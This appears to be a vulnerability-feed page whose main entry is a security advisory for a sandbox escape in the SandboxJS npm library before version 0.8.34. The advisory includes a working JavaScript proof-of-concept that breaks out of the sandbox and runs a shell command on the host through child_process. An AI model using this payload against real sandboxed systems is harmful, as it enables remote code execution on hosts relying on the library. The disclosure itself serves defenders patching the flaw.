Most recent entries from all

bdu:2026-04459

2026-10-04T14:29:36.682851+00:00

bdu:2026-04459

EUVD-2026-276213

2026-10-04T14:29:36.682895+00:00

EUVD-2026-276213

fkie_cve-2026-26954

2026-10-04T14:29:36.682916+00:00

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.34, it is possible to obtain arrays containing Function, which allows escaping the sandbox. Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This vulnerability is fixed in 0.8.34.

GHSA-6r9f-759j-hjgv — SandboxJS affected by a Sandbox Escape

2026-10-04T14:29:36.682961+00:00

Affected: npm: @nyariv/sandboxjs

### Summary

It is possible to obtain arrays containing `Function`, which allows escaping the sandbox.

### Details

There are various ways to get an array containing `Function`, e.g.

```js Object.entries(this).at(1) // [ 'Function', [Function: Function] ] Object.values(this).slice(1, 2) // [ [Function: Function] ] ```

Given an array containing `Function`, and `Object.fromEntries`, it is possible to construct `{[p]: Function}` where `p` is any constructible property. This can be used to escape the sandbox.

### PoC ```js const s = require('.').default; const sb = new s();

payload = ` const p = (async function () {})(); ({ "finally": p.finally, ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]), }).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')(); `;

sb.compile(payload)().run(); ```

### Impact

Sandbox Escape -> RCE